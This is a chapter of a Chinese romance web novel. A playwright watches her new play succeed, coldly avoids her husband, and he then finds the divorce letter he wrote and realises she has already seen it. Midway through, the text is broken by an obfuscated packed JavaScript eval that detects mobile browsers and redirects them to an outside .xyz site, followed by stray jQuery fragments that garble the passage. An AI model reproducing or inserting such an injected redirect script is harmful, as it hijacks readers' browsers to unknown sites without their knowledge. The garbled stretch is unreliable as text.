54. 第 54 章

作品:《宿敌竹马说他不想和离

    烟雾再次排山倒海般涌来,仿佛掩盖了整个戏台子。


    灯光渐熄,台下再一次陷入落寞。


    再点灯,出现的是面目狰狞的牛头马面。


    面具做的极其逼真,远远望去也能看见可怖的獠牙,引得台下阵阵哀鸣。


    如今已经进行到话本的最后一部分,歌女徘徊在奈何桥,不愿离去,更不愿到孟婆跟前喝下那碗传闻中能忘却往生回忆的孟婆汤。


    即便手脚被紧束,双颊被掐得泛红,也没能将那碗汤灌入她喉。


    众人僵持良久,直到奈何桥上出现了熟悉的身影。


    书生袖袍随着风飘摇,扬在了半空,仿佛他也失去了生命的重量。


    他也毅然决然地随她去了。


    他们应是对这世俗有恨的,故事的结尾却在两人相拥后戛然而止,留给观众的只有无尽的遐想。


    灯灭灯又起,戏班子逐一上戏台向观众致谢。


    台下依旧是一片死寂。


    付媛心似擂鼓,扑通扑通的,担心不已。


    这是她第一次尝试写这样的话本,与从前风格迥异,也是第一次在李豫和的建议下,提前让剧目上演。


    她简直觉得自己像是被扼住了咽喉,无法呼吸,胸口沉闷得眼前有些泛白。


    渐渐的,台下的掌声犹如雷鸣。


    付媛捂着胸口的手动了动,缓过劲来才发觉,那并非是她的幻觉。


    台下叫好声此起彼伏,付媛也慢慢地回过神,抬眸朝台上莞尔。


    台上的戏子并不知道她的身份,这笑是给予她自己的认可,不为其他。


    曲终人散,人潮渐渐离去,付媛这才与单老夫人等人一同回府。


    希望今夜能有一个不错的美梦。


    回府的路上,戚茗姒坐在右侧,付媛坐在正中,单老夫人则是坐在左侧。


    戚茗姒滔滔不绝地扯着付媛衣袖,迫不及待地与她攀谈,“嫂嫂嫂嫂!我当真是好久没有看过这样精彩绝伦的戏了,谢谢嫂嫂!”


    付媛笑盈盈点头,抬眼看向自打上马车就一直默不作声的单老夫人。


    “娘觉得如何呢?”


    单老夫人像是入了定,被自己繁杂的思绪缠绕,烦闷不已,没听见付媛说话。


    “娘?”付媛偏了偏脑袋,伸手抚过单老夫人搭在膝头的手。


    虽说秋风凉,她的手却不似是被风吹着受凉,更像是从内而外散发的一阵寒意。


    “娘你的手好冷......可是身子有恙?”


    付媛仗着有孕将那些难看的脸色与从前受的气都一并奉还,如今她气也出了,也让单老夫人如坐针毡却硬着头皮地陪了她一晚,也该消气了。


    说到底这到底是单阎的亲娘,她也不想让她身子抱恙,让单阎难过。


    只要日后单老夫人不再多为难她,她自然也不会如何刁难。


    付媛并非是得理不饶人的性子。


    单老夫人恍然回过神,错愕地将被付媛握着的手缩回,下意识地蹙了蹙眉。


    察觉到两人惊异的目光,这才悻悻然将手重新落在膝上,嗫嚅地解释道:“只是有些劳神,无碍。”


    付媛点点头,心照不宣地看向身侧的戚茗姒,攥了攥落空的手。


    车马在单家门前停稳,率先传来的是金枝的嗓音:“少爷......”


    金枝轻唤的一声少爷,仿佛将付媛从幻境中拉扯回现实。


    戚茗姒依旧是第一个蹦着下马车的,见了单阎便喊“表兄”,拽着他胳膊就要跟他炫耀:“今日嫂嫂带我们看戏去了~!”


    单阎明显的喉结动了动,眼眸依旧紧紧地盯着车帘,心不在焉地应:“是吗?”


    一只纤细嫩白的玉手用指尖捻着车帘,缓缓从车舆内俯身而出。


    付媛光洁无暇的脸在暗黑的夜里显得十分惹眼,她耳垂泛着点点红晕,直到她抬起眸与单阎对视,那片红便更是肆意地在她脸上蔓延,沾染过她两鬓,将她衬得活似一朵清丽脱俗的芙蓉。


    她的视线在与单阎眼神交汇那一刻停滞,旋即又眨着眼垂下眸,不肯与他对视。


    今日她远远地站在人群中想要一个肯定的目光,他都不肯施舍,如今是轮到她不肯望他了。


    她目不斜视地提裙走下矮梯,仿佛与那人从未有过蜜里调油的时光。


    一只骨节分明的手覆上了她的腰肢,却被她熟练地躲开。


    付媛怯生生地别过脸,眼神没有一丝亲昵。


    单阎知道,她这是生气了。


    他伸手捉住付媛的手肘,将她拉回怀里,“夫人今日这是怎么了?”


    付媛抬眸瞥过一眼单阎脸上的神情,他紧蹙的眉头微微下压,眼里闪烁着迷人的光。


    她的心因这一瞥跳得迅猛十分,于是付媛只好再次挪了挪视线,看向他身后的戚茗姒。


    付媛没有应答,却已经是她的全部答案。


    她稍稍曲了手肘便往男人的身后走去,牵起戚茗姒的手。


    戚茗姒脸上有半分错愕,却很快恢复如常,看了一眼单阎单薄的背影便挽上了付媛的手。


    直到两人走得稍微远了些,她才凑到付媛耳边,故作神秘的语气呢喃道:“放心吧嫂嫂,我不会告诉表兄,嫂嫂就是月孤明的。”


    原本心里仍有些沉重的付媛愣了愣,挑眉看了眼身侧笑眯眯的戚茗姒,忍俊不禁,捏了捏她有些婴儿肥的脸庞,“说什么呢?”


    “难道不是吗?”戚茗姒脚步一滞,掰着指头数那些她自以为付媛暴露出的线索,“天上哪儿来这样大的馅饼儿,一票难求的《应有恨》,嫂嫂想去便有了三张。”


    “若说嫂嫂不是,那我才当真不信呢!”


    付媛嗤笑一声,算是默认了她的猜测。


    脚步停滞在原地的戚茗姒依旧振振有词地推断,直到发觉付媛已经入了长廊,自己被抛下了,这才赶忙追上前,“嫂嫂嫂嫂!快告诉茗姒,茗姒说的对不对?”


    “茗姒猜猜呢?”付媛没有要辩解的意思,只是多亏了她,付媛的心情才算轻松了许多。


    原先单老夫人将戚茗姒请到扬州城来,付媛以为是大难将至,谁曾想这丫头机敏又可爱,实在讨她欢心。


    妯娌二人一路打趣着回厢房,独留单阎一人怔怔地走着,每一步都格外的沉重。


    他看着身旁的单老夫人,背影显然变得十分落寞,猜测晚上该是发生了什么事,这才只好为了大局又将那些夫妻之间的事暂且抛诸脑后。


    单阎本想伸手搀扶,却被单老夫人无视了,只好又收回了手,悻悻然地试探:“娘?”


    “嗯?”单个音节几乎是从单老夫人的喉咙里活生生扯出来的,她的嗓音变得有些低哑,像是石粒攥在手心里地令人在意。


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15568271|166011||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    “可是夜里受凉了?”单阎并不是迟钝的人,自然察觉到了单老夫人声音的变化。她的嗓音像是哭过,又像是感染了风寒那般的厚重。


    单老夫人抬眸看了他一眼,微微阖眼,突然笑了笑,“但愿你的坚持是值得的。”


    说罢,她便转身回了厢房,没再应答单阎的疑问。


    秋风中,仿佛只有单阎一人感受到这份凉意。


    偌大个宅邸,连一个愿意搭理他的人都没有,多么可笑。


    单老夫人说话喜爱拐弯抹角,这点单阎一直都清楚——


    可今日说的这番话,他的确有些摸不着头脑了。


    母子二人的攀谈并未持续多久,甚至只能说那只是单阎一人的讨好,很快他便三步并两步地看见了走在前头的两妯娌。


    见二人入了厢房,远远地瞥见掩上门的是付媛,他自然识趣,叹了口气便负手走向对门的书房。


    近日单阎除了要应付裴俅带来的腥风血雨,步步谨慎,生怕行差踏错,让他捉住了把柄。若是自己有个甚么不测,山高皇帝远的,恐怕也赛不过裴俅叔父裴同芳常伴君策的一张嘴。


    他习惯了将那些情绪留在屋外,尽量不让自己脸上露出烦躁的神情,以免亲人担心。


    若是不得已,他也会将书房门掩实,将那些苦恼都留给自己。


    裴俅在扬州城的势力壮大,商会里大多数富商都是根据自己的家族势力站队,鲜少有胆敢两面逢源的——


    除了他那个贪念大野心更大的岳父。


    他明面上知道不能拆自家女婿的台,背地里却舍不得放弃那些裴家的好处。


    非要剑走偏锋两头吃的下场,可想而知。


    单阎对他这位岳父本就多有怨怼,原想着他消停些了也好,稳得住家宅,官场上他自有办法。却没曾想他这自以为聪明的岳父会在自家后院放起火来,该说的不该说的,都在酒后逐一吐了出去。


    原先单阎对付老爷站队一事并无意见,也不会强人所难。


    付老爷若是坚决地站在他的对立面,非要下他面子,他作女婿的也不会明面上给他使什么绊子。


    可眼看着裴俅身后的势力日渐壮大,单阎似乎也需要借一借这付老爷的东风,每一点支持对他来说都是极其重要的,如今倒是令他好不头疼。


    本就为当初行刺一事操劳了月余,如今圣上又派遣提点刑狱司南下,名为视察民情,实则是勘察他作为地方长官有无徇私枉法的行为。


    若是在这节骨眼上,付老爷胆敢再不安分,只怕是神仙也难救。


    正当单阎盯着满桌的公文伤神时,焦躁不安驱使他抬了抬腿,膝头不经意间触到了抽屉,一封书函从中掉了出来。


    单阎宁了宁心神,这才弯下腰去捡。


    他看着落在袍子上的灰,手里捻着的书函却一尘不染,心中那阵不安愈发浓烈。


    他将碰倒的公文也一并捡起,却没耐心垒好,只随意地摊在桌上,迫不及待地打开那封书函,验证自己内心不祥的想法。


    单阎攥着书笺的手指有些战栗,祈祷着书笺的内容能将心头那些阴郁都扫除——


    却无功而返。


    现在摊开在他面前的,的的确确是他写的和离书。


    而干净的手指也再一次验证了他的猜测。


    这封和离书,付媛早已见过了。